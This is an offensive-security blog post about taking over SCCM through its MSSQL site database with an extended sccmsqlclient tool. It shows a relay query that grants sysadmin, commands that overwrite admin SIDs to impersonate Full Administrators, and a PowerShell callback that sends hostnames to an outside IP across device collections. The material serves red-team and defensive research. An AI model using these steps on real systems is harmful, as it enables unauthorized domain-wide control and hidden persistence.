SCCM Control via MSSQL

Aug 14, 2025

Abusing the site database to control the environment

Introduction

SCCM (System Center Configuration Manager), or MECM (Microsoft Endpoint Configuration Manager), is system administration software that can be abused by attackers if not properly secured. The site database uses MSSQL to store configuration data and facilitate communication between devices. This makes the site database one of the primary targets for attackers. If you are curious about SCCM and the different attack paths, check out Misconfiguration Manager and consider setting up a lab using Ludus.

Original tool

https://github.com/synacktiv/sccmsqlclient
"A dedicated MSSQL client for SCCM database exploration and exploitation." This tool by Synacktiv builds on top of Impacket's MSSQL client to provide prebuilt queries to interact with SCCM through the site database.

Extended tool

https://github.com/bokkisec/sccmsqlclient
In this fork, I explored different ways to extend the functionality of the tool by adding additional commands. The goal of this blog is to share what I came up with and show how powerful a direct connection to the site database can be.
Credit: Garrett Foster (@unsigned_sh0rt) for project idea and mentorship.

Getting sysadmin in MSSQL

Before using the tool, you're going to need to get sysadmin privileges on the site database.

Slightly modified TAKEOVER-1

TAKEOVER-1 is often used to get "Full Administrator" in SCCM. It works by relaying authentication of a privileged machine, such as the site server, to the site database. The same technique can be used to grant ourselves sysadmin on the database.

To do this, simply change the query used by ntlmrelayx to this one:

CREATE LOGIN [domain\username] FROM WINDOWS; ALTER SERVER ROLE sysadmin ADD MEMBER [domain\username];

Then, proceed with the attack.

Now we have sysadmin privileges!

Here is an example of connecting to the site database with the tool and executing the sccm_devices command:

python3 sccmsqlclient.py -windows-auth ludus.domain/domainuser:password@10.2.10.13

SCCM Admin Impersonation

SCCM has a number of admin roles that can be assigned to domain users. The most interesting one for attackers is "Full Administrator" since it grants all available permissions. The admin list and their permissions are stored in the site database.

Tables

The RBAC_Admins table stores the list of admins, with the most interesting columns being:

  • AdminID - Primary key for the table, starting at 16777217 and incrementing by 1 for each additional entry
  • AdminSID - The Windows SID for the user, which is used in the authentiation process
  • LogonName - The name that is used to log in and shown in the Configuration Manager GUI
SELECT * FROM RBAC_Admins;

The RBAC_ExtendedPermissions table stores the permissions that each admin is given. The RoleID of "SMS0001R" corresponds to "Full Administrator" and the scope columns determine which users/devices they can control.

SELECT * FROM RBAC_ExtendedPermissions

Starting Point

For the following demonstration, refer to these encoded SIDs:

  • 0x01050...51040000 - domainadmin
  • 0x01050...42060000 - itadmin
  • 0x01050...50040000 - domainuser (our user)

The user used to deploy SCCM was ludus\domainadmin, so it has an AdminID of 16777217 and is a "Full Administrator". Also, ludus\itadmin was added as an "Application Administrator".

Impersonation

Since the AdminSID column is used to authenticate users, we can insert our own SID to impersonate admins. This gives us some options to be creative when establishing persistence. The following are the commands I added to sccmsqlclient to allow for this.

sccm_impersonate_safe_targ

A duplicate entry of the target admin is created. Then, the AdminSID is changed to the SID of your user. After executing the command, in the GUI, there are two entries for ludus\itadmin. Now, both ludus\itadmin and ludus\domainuser has "Application Administrator" rights.

sccm_impersonate_safe_targ ludus\domainuser ludus\itadmin

sccm_impersonate_safe_full

A duplicate entry of the default "Full Administrator" is created (targets AdminID 16777217). The rest works the same as the previous, except the targeted user is ludus\domainadmin who is "Full Administrator".

sccm_impersonate_safe_full ludus\domainuser

sccm_impersonate_targ

The AdminSID is DIRECTLY OVERWRITTEN with the SID of your user. After executing the command, there is no observable change to the GUI. Now, only ludus\domainuser has "Application Administrator" rights, and ludus\itadmin no longer has any permissions in SCCM.

sccm_impersonate_targ ludus\domainuser ludus\itadmin

sccm_impersonate_full

The AdminSID of the default "Full Administrator" is DIRECTLY OVERWRITTEN. The rest works the same as the previous, except the targeted user is ludus\domainadmin who is "Full Administrator".

sccm_impersonate_full ludus\domainuser

sccm_restore_targ

Restore the AdminSID of the specified user with the specified encoded SID.

sccm_restore_targ 0x01050…42060000 ludus\itadmin

sccm_restore_full

Restore the AdminSID of the default "Full Administrator" with the specified encoded SID.

sccm_restore_full 0x01050…51040000

PowerShell Across Collections

Collection Information

To start, here are commands to view information about device collections.

collection_list

List all device collections. Take note of the SiteID column for future commands.

collection_list

collection_members

List members of the collection with the specified SiteID.

collection_members SMSDM003

Executing Scripts

Now, here is the command to execute PowerShell across entire device collections.

collection_run_script

Runs the stored PowerShell script across all devices in the collection with the specified SiteID.

Steps:

  1. Use set_ps1_script with raw PowerShell or load_ps1_script with a specified file path
  2. Optionally use collection_list to get the SiteID you want
  3. Use collection_run_script to queue the PowerShell script to be executed

Example:

set_ps1_script Invoke-WebRequest “http://10.2.10.33/$(hostname)”
collection_list Clients
collection_run_script SMSDM003

Closing Thoughts

This blog only covers the highlights of my research done as an intern with SpecterOps. I encourage you to try out the tool for yourself to see all of the commands by the original developer along with a few others I wrote, and maybe come up with your own commands/queries. This topic seems largely unexplored, so I'm excited to see what people come up with in the future.